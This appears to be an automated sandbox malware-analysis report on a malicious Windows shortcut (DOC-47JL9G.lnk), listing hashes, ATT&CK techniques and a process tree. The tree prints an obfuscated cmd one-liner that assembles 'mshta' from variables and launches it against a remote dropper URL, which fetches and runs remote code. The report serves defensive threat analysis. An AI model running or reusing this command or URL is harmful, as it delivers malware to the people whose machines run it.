d66d7b201bbfa4f5bc34d03e7529f4289bf81242edb026ecb245e451659f9e16

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:25

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General

Target
DOC-47JL9G.lnk
Size 1KB
Sample260803-qpca7acj2v
SHA256 d66d7b201bbfa4f5bc34d03e7529f4289bf81242edb026ecb245e451659f9e16
MD5 b16ace27dfbd063b5902440709576a6e
SHA1 622d424c1b3061fcfbe9982a65a2d9b8ba7d52b5
SHA512 aa6d669d32c5c5f0d75291331370b31a4ffef72dc31ea1aa35db7f07dee50ed4d58f803484dbd68f459560e9ea545f24e975c6cfb06bdcd6e3fcb1213cf7ef12
TLSH
T1B93147502FF90614F3F78E7394BB5B2085BBB86A8E20C61D0155464C1072A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4684	cmd.exe
4152	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4684 wrote to memory of 4152	4684	cmd.exe	90
PID 4152 wrote to memory of 4308	4152	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-47JL9G.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4684
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set jBss=msh&&set uPGye=ta&&start "" !jBss!!uPGye! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4308

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads